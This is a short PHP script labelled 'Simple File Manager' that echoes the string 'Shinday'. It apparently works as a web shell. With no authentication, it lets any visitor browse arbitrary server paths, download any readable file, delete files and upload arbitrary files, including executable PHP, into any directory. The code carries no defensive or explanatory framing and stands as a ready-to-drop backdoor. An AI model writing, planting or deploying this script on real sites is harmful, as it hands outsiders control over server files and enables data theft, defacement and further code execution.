<?php
// Simple File Manager
echo "Shinday";
echo "Upload";
$dir = isset($_GET['dir']) ? $_GET['dir'] : '.';
if (isset($_GET['delete'])) {
    @unlink($_GET['delete']);
    header('Location: ?dir='.urlencode($dir));
    exit;
}
if (isset($_GET['download'])) {
    $file = $_GET['download'];
    if (file_exists($file)) {
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="'.basename($file).'"');
        readfile($file);
        exit;
    }
}
if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_FILES['file'])) {
    $target = $dir . '/' . basename($_FILES['file']['name']);
    if (move_uploaded_file($_FILES['file']['tmp_name'], $target)) {
        echo "Upload success<br>";
    } else {
        echo "Upload failed<br>";
    }
}
$files = scandir($dir);
echo "<pre>";
echo "<a href='?dir=".urlencode($dir)."'>Current dir: $dir</a><br>";
foreach ($files as $f) {
    if ($f == '.' || $f == '..') continue;
    $full = $dir . '/' . $f;
    if (is_dir($full)) {
        echo "<a href='?dir=".urlencode($full)."'>[DIR] $f</a><br>";
    } else {
        echo "<a href='?download=".urlencode($full)."'>[FILE] $f</a> ";
        echo "<a href='?delete=".urlencode($full)."&dir=".urlencode($dir)."'>[Delete]</a><br>";
    }
}
echo "</pre>";
echo "<form method='post' enctype='multipart/form-data'>";
echo "<input type='file' name='file'>";
echo "<input type='submit' value='Upload'>";
echo "</form>";
?>